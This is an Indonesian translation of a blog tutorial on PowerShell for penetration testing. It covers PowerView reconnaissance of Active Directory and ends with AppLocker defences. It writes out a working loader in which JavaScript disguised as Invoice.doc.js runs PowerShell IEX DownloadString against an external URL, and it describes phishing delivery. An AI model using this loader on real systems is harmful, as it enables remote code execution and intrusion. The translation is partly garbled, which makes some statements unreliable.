PowerShell sebagai Alat Pentest: Script dan Contoh Varonis



Peretas suka menggunakan PowerShell untuk menjalankan "fileless malware," incorporeal malware yang bukan biner tradisional dengan kode berbahaya yang dikompilasi, dan karena alasan ini kadang-kadang tidak dapat dideteksi oleh solusi antivirus.

PowerShell, tentu saja, selalu memiliki tujuan yang sepenuhnya normal, yang pada awalnya tidak ada hubungannya dengan pengujian penetrasi sama sekali. Anda yang ingin tahu latar belakang PowerShell harus membaca Manifesto Monad yang terkenal. Ditulis oleh salah satu pengembang asli, manifesto ini menjelaskan mengapa Microsoft membutuhkan bahasa skrip baru (dengan kata lain, skrip), yang akhirnya berubah menjadi PowerShell.

Untuk menyelamatkan Anda dari kesulitan melihat dokumen 17 halaman yang panjang, saya akan mengungkapkan kepada Anda faktor pendorong utama yang mendorong penulis PowerShell: seharusnya memberikan administrator sistem akses ke objek Net dari baris perintah, sehingga memungkinkan otomatisasi alur kerja pada tingkat sistem, daripada pada level pemrograman yang dalam di C # atau C ++.

Jika Anda ingin bukti nyata dari efektivitas PowerShell (selanjutnya disebut PS), tanyakan administrator sistem Anda bagaimana mereka secara masif menambah pengguna ke Active Directory atau melakukan pengaturan keamanan cepat. Anda kemungkinan besar akan belajar tentang solusi PowerShell . Singkatnya: PS adalah cara yang bagus untuk mengurangi rutinitas dan meningkatkan produktivitas bagi administrator.

Mengapa menggunakan PowerShell untuk pentest?


Sayangnya, apa yang sangat cocok sebagai alat otomatisasi yang kuat untuk administrator pada akhirnya berguna untuk peretas dan penguji penetrasi.

Misalkan seorang administrator TI ditugaskan untuk mencari tahu siapa yang sebenarnya menggunakan server yang kurang beban. Menggunakan PowerShell dan pustaka PowerView fungsi-fungsi lanjutan, administrator sistem dapat dengan cepat melihat pengguna yang masuk ke server , tanpa harus masuk ke server ini sendiri:



Namun, penjahat dunia maya yang sebelumnya mendapatkan akses melalui serangan phishing juga dapat melakukan hal yang sama, seperti mereka dapat menggunakan fitur yang sama saat berada dalam domain Active Directory (selanjutnya disebut sebagai AD). Dan aktivitas mereka tidak akan terdeteksi: seorang analis keamanan informasi yang memantau penggunaan aplikasi dapat menyimpulkan bahwa, karena itu hanya PowerShell, itu pasti tidak berbahaya .

Untuk semakin memperburuk contoh ini, peretas bahkan bisa mendapatkan semua informasi terperinci tentang pengguna individu menggunakan perintah Get-NetUser, yang akan membuang semua atribut pengguna dalam AD:



Sayangnya, perusahaan terkadang mengabaikan atribut AD yang mereka publikasikan untuk semua karyawan - misalnya, rumah atau ponsel, alamat, dll. Sebelum PowerShell, jauh lebih sulit untuk mengumpulkan semua data ini dari AD, tapi itu tidak terjadi untuk waktu yang lama!

Apa yang dapat dilakukan penyerang dengan informasi ini? Mereka dapat dengan mudah mengambil keuntungan dari metode rekayasa sosial dan mengembangkan serangan untuk ini: mungkin dengan mengirim
Email dengan konteks pribadi yang cukup berasal dari atribut AD agar terlihat seperti permintaan dukungan yang sah meminta Anda untuk "mengatur ulang kata sandi Anda".

Ngomong-ngomong, Anda bisa menerapkan kontrol ACL ke atribut AD juga, jadi ada cara (!) Untuk mengurangi risiko serangan jenis ini. Dan ini adalah salah satu hasil positif yang bisa Anda dapatkan dari pengalaman pengujian penetrasi Anda sendiri.



Tutorial PowerShell Pentester


Menggunakan PowerShell, penyerang diam-diam dapat mengumpulkan data pengguna internal dan kemudian menggunakannya dalam serangan mereka. Tetapi tidak ada alasan mengapa personil keamanan TI atau informasi juga tidak dapat mempelajari PowerShell cukup untuk memulai pengujian mereka sendiri dan belajar untuk memahami pola pikir dan motif peretas.

Hal baik pertama tentang PowerShell adalah semua skrip dan file bat lama yang Anda jalankan dari baris perintah cmd.exe masih berfungsi di konsol PowerShell. Sudah tidak buruk, kan?

Poin penting berikutnya adalah bahwa tidak seperti kerang mirip Linux, PowerShell memperlakukan semuanya sebagai objek . Bahkan output dari sebuah perintah (hanya berpikir) juga merupakan objek.

Misalnya, masukkan perintah Get-ChildItem (atau cmdlet dengan cara yang berbeda, seperti perintah yang disebut di dunia PS) di konsol, dan Anda akan melihat daftar file di direktori saat ini:



Pengkodean PowerShell


Misalkan Anda ingin menulis skrip PS di mana hanya file yang lebih besar dari 10 MB ditampilkan - misalnya, untuk dengan cepat memeriksa file mana yang mengambil banyak ruang. Tugas ini akan jauh lebih sulit untuk diselesaikan dalam output string, katakanlah, bash shell. Namun, di PowerShell, output dari perintah apa pun itu sendiri merupakan objek dengan sekumpulan atribut .

Untuk melihat ini, cukup kirimkan output GetChildItem ke Get-Member , yang akan memberi tahu Anda atribut dari cmdlet PS:



Jadi, sekarang kita memiliki pengidentifikasi untuk dua atribut yang menarik bagi kita: panjang "panjang" dan nama "nama", yang dapat kita rujuk secara terprogram. 5 menit - penerbangan normal.

Untuk mengatasi situasi sering ketika objek kadang-kadang dalam array atau koleksi, kami akan menggunakan ForEach PS-operator untuk beralih di atas array.

Untuk membuat segalanya lebih mudah, alias atau alias "%" berarti "ForEach", dan "$ _" mewakili objek saat ini.

Menjalankan Perintah Menggunakan PowerShell


Mari kita dapatkan dua kolom output dari perintah GetChildItem berdasarkan pengetahuan baru kita. Contoh di bawah ini adalah pipa dengan Get-ChildItem yang mengumpankan pernyataan ForEach, yang hanya menampilkan nilai atribut "length" dan "name":

get-childitem | % {write-host $_.length $_.name -separator "`t`t"} 

Dan ini adalah hasil dari menjalankan perintah:



Untuk menyelesaikan contoh cantik kami, mari kita ubah skrip kami untuk hanya menghasilkan file besar, katakanlah, lebih dari 10MB. Untuk melakukan ini, kami menggunakan filter yang dikenal sebagai cmdlet Where-Object dengan alias "?". Ia memiliki semua operator pembanding biasa (-gt, -eq, -lt, dll.). Kami memasukkannya di tengah-tengah pipa dan saluran kami. skripnya sekarang terlihat seperti ini:

  get-ChildItem | ? {$_.length –gt 10000000 | % {write-host$_.length $_.name -separator "`t`t"} 

Sebagai latihan, coba jalankan penciptaan PS di atas di lingkungan Anda sendiri.

Tutorial: Contoh Pengujian Penetrasi PowerShell


Dengan sedikit pengalaman dengan PowerShell ini, kami siap untuk mengambil contoh terbaik kehidupan nyata. Salah satu cara tercepat untuk masuk ke pentest adalah dengan menggunakan PowerShell untuk menyembunyikan muatan. Kami menulis tentang bagaimana melakukannya di sini .

Idenya adalah untuk menyembunyikan kode PowerShell kami di dokumen kantor standar dengan akhiran .doc. Bahkan, file tersebut akan memiliki ekstensi .js, dan ketika diklik, ia mengaktifkan peluncuran skrip Windows untuk menjalankan JavaScript, yang kemudian akan meluncurkan kode PowerShell bawaan.

Agak membingungkan, bukan? Tapi peretas sejati tidak menggunakan satu, tetapi beberapa tingkat bersarang dan kebingungan untuk menyembunyikan dan mengacaukan serangan mereka sebanyak mungkin.

Persiapan bootloader dan payload


Seperti apa bentuk skripnya:

 a=new ActiveXObject('Wscript.Shell');a.Run("powershell -nop -noe -Command IEX (New-Object System.Net.WebClient).DownloadString('https://tinyurl.com/y5nupk4e')",1,true); 

Anda menempelkan kode di atas ke dalam file teks dan mengganti namanya menjadi sesuatu seperti Invoice.doc.js . JavaScript di atas bertindak sebagai pemuat yang berjalan menggunakan PowerShell NetWebClient dan Invoke-Expression cmdlet bawaan , yang dengan sendirinya alias "%".

Metode DownloadString dari cmdlet NetWebClient mengekstrak dari payload aktual, yang pada akhirnya melakukan semua pekerjaan kotor untuk kita.

Anda dapat menyisipkan URL Anda sendiri yang menunjuk ke program pengujian Anda sendiri. Ya, cmdlet Invoke-Expression menerima kode dari file jahat kami dan kemudian menjalankannya.

Lihat itu!


Dalam kasus saya, URL menunjuk ke proyek Github yang berisi perintah PS Write-Host sederhana yang akan menampilkan pesan yang tidak berbahaya namun penting bagi semua umat manusia. Dalam serangan nyata, file skenario semacam itu bisa dilampirkan ke mailing list phishing, yang akan memikat karyawan yang tidak menaruh curiga ke dalam perangkap keingintahuan. Dan payload akan jauh lebih destruktif.



Anda dapat mencoba ini di instalasi Anda sendiri. Dan jika semua hal di atas berhasil, maka Anda memiliki satu tugas yang lebih penting dan penting, yang harus dilakukan tanpa gagal.

Manfaat Pengujian Penetrasi




Ini membawa kita pada alasan mengapa kita melakukan pengujian penetrasi. Berikut adalah tiga manfaat nyata yang terlintas dalam pikiran pertama:

  1. Dengan menjelajahi tim PowerShell sebagai pentester, Anda akan memahami bagaimana peretas "memecahkan" bahasa skrip generasi yang indah ini. Cukup pertimbangkan kombinasi metode DownloadString dan Invoke-Expression, yang memungkinkan penyerang mengekstrak kode jahat jarak jauh ke situs korban tanpa perlu menyimpannya di antaranya.
  2. Latihan ini juga menekankan kerahasiaan seorang peretas modern. Saya menunjukkan dalam contoh di atas skema serangan yang tidak meninggalkan file. Dengan demikian, Anda tidak dapat menggunakan metode berbasis tanda tangan standar untuk mendeteksi serangan yang dilakukan menggunakan PowerShell dengan andal. Basi, kami tidak memiliki tanda tangan dari malware itu sendiri untuk perbandingan.
  3. Anda cenderung mulai mengeksplorasi cara untuk membatasi PowerShell dan metode berbasis skrip lainnya. Pada akhirnya, serangan dimulai dengan sebuah skrip, jadi jika perusahaan menyulitkan untuk menjalankan skrip, mereka dapat secara signifikan mengurangi profil risiko mereka.

Izinkan saya menguraikan poin terakhir. Anda kemungkinan besar tidak akan ingin sepenuhnya melarang PowerShell (atau JavaScript), karena ini adalah bagian mendasar dari perangkat lunak sistem Windows. Untungnya, Microsoft memiliki cara untuk menonaktifkan skrip (dan executable lainnya) secara selektif melalui AppLocker , versi perbaikan dari Kebijakan Pembatasan Perangkat Lunak lama dalam Kebijakan Grup modern (GPO).

Ini mungkin tampak sulit dipercaya oleh para teknisi, tetapi kebanyakan pengguna biasa tidak memerlukan PowerShell atau bahasa skrip lain untuk melakukan pekerjaan sehari-hari mereka. Ini, tentu saja, mengejutkan, saya tahu! AppLocker, misalnya, dapat dikonfigurasi untuk menonaktifkan akses PowerShell untuk massa, sambil memungkinkan administrator sistem untuk tetap melakukan kerja keras mereka.

Serangan berbasis skrip, termasuk yang terkait dengan lampiran email, bergantung pada administrator untuk memberi karyawan izin skrip yang terlalu luas. Dan seharusnya tidak begitu!

Source: https://habr.com/ru/post/id471420/


All Articles